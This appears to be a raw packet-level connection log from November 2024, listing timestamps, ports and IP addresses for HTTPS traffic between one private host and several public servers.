Nov 19, 2024 00:01:19.430557966 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.430799007 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.430823088 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.432346106 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.432420015 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.433569908 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.433655977 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.483469963 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.483485937 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.529284000 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.592375994 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.794253111 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.794555902 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.794754982 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.798700094 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.798758030 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.798774004 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.798820019 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.840281963 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:19.840346098 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:19.840437889 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:19.841034889 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:19.841070890 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:19.979494095 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:19.979540110 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:19.979636908 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:19.979907036 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:19.979924917 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.561424971 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:20.563246012 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:20.563290119 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:20.564873934 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:20.564974070 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:20.566481113 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:20.566574097 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:20.567116022 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:20.567130089 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:20.610816956 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:20.868089914 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.868478060 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:20.868530989 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.869517088 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.869613886 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:20.871047974 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:20.871117115 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.918579102 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:20.918589115 CET	443	49740	142.250.181.228	192.168.2.4
Nov 19, 2024 00:01:20.965590954 CET	49740	443	192.168.2.4	142.250.181.228
Nov 19, 2024 00:01:21.111717939 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.111773968 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.111890078 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.111970901 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.162342072 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.529819965 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.529939890 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.530028105 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.530329943 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.530365944 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.535365105 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.535496950 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.535732985 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.535892963 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536011934 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.536238909 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536267996 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536384106 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.536526918 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536551952 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536569118 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.536591053 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.536638021 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536674976 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.536699057 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:21.536731958 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:21.649139881 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:21.649208069 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:21.649837971 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:21.652542114 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:21.652575016 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.218373060 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.218791008 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.218844891 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.219371080 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.223335028 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.223438978 CET	443	49741	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.278003931 CET	49741	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.490263939 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.511106014 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.511205912 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.519224882 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.519268990 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.519702911 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.520824909 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.539602995 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:22.539655924 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:22.539741039 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:22.539932013 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:22.539966106 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:22.563359022 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.564107895 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.581547976 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.627335072 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.700942039 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.700968027 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.701108932 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.701108932 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.701174974 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.701255083 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.702379942 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.750020027 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.750081062 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.796040058 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.820693016 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.820723057 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.820864916 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.820864916 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.820935965 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.820981026 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.821013927 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.821059942 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.821080923 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.821111917 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.821126938 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.821156979 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.826203108 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.826364040 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.826435089 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.826565981 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.826601028 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.826627016 CET	49743	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.826641083 CET	443	49743	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.864310026 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.864396095 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.864500999 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.865004063 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:22.865037918 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:22.874670982 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.874686003 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.920538902 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.936264038 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.936326027 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:22.936405897 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.936625957 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:22.936659098 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.406163931 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.407407999 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.407469034 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.409059048 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.409162998 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.415023088 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.415118933 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.415304899 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.415338039 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.466633081 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.624593973 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.669326067 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.730679989 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:23.730850935 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:23.742517948 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.742542982 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.745479107 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:23.745516062 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:23.746319056 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.746403933 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.746416092 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:23.757966042 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:23.783143044 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783198118 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783236980 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783256054 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783293962 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783310890 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.783333063 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783364058 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.783366919 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.783394098 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.783432007 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.785531044 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.785578012 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.785613060 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.785639048 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.785669088 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.787054062 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.799354076 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:23.902870893 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.902925968 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.903001070 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.903021097 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.903084040 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.903114080 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.903182983 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.903198957 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.903270006 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.906995058 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.921386003 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.921653032 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.922187090 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.922220945 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:23.927062988 CET	49744	443	192.168.2.4	13.35.58.12
Nov 19, 2024 00:01:23.927095890 CET	443	49744	13.35.58.12	192.168.2.4
Nov 19, 2024 00:01:23.954982042 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:23.955020905 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:23.955106974 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:23.955365896 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:23.955394030 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:23.966124058 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:23.969012976 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:23.969099045 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:23.969189882 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:23.969408989 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:23.969444990 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:23.984149933 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:23.984178066 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:23.984323025 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:23.984620094 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:23.984644890 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:23.993803024 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.993885994 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.993984938 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994056940 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994085073 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.994124889 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994179964 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.994193077 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994246960 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994715929 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994745970 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.994951010 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.994992971 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.995367050 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:23.995420933 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:23.995723009 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:23.995769978 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:23.995892048 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:23.996309996 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:23.996337891 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:24.015825033 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:24.015981913 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:24.016186953 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:24.017786980 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.017848015 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.017929077 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.018443108 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.018461943 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.022264004 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.022294998 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.023411036 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:24.023435116 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:24.023459911 CET	49745	443	192.168.2.4	184.28.90.27
Nov 19, 2024 00:01:24.023473024 CET	443	49745	184.28.90.27	192.168.2.4
Nov 19, 2024 00:01:24.088978052 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.089041948 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.089061975 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.089082956 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.089117050 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.089138985 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.089169025 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.138266087 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.208075047 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.208102942 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.208153963 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.208156109 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.208220005 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.208241940 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.209176064 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.209194899 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.209256887 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.210097075 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.210114956 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.210165977 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.210201979 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.210989952 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.211010933 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.211071014 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.327991962 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.328006983 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.328105927 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.328821898 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.328830957 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.328927994 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.329596996 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.330041885 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.330472946 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.330553055 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.331391096 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.331468105 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.332190037 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.332272053 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.333121061 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.333199024 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.448065996 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.448157072 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.448215961 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.448292017 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.448334932 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.448412895 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.448414087 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.448441029 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.448518991 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.591233969 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.591595888 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.591639042 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.593075991 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.593153954 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.594465971 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.594557047 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.594728947 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.594744921 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.634952068 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.637764931 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.637806892 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.644984007 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.732443094 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.732722044 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.732738972 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.734383106 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.734476089 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.734949112 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.735668898 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.735697985 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.735966921 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.736058950 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.736109972 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736253977 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736320019 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.736365080 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736453056 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736545086 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736603975 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.736635923 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736697912 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.736710072 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736800909 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.736861944 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.736875057 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.737157106 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.737230062 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.738029957 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.738044977 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.739274025 CET	49750	443	192.168.2.4	13.107.246.64
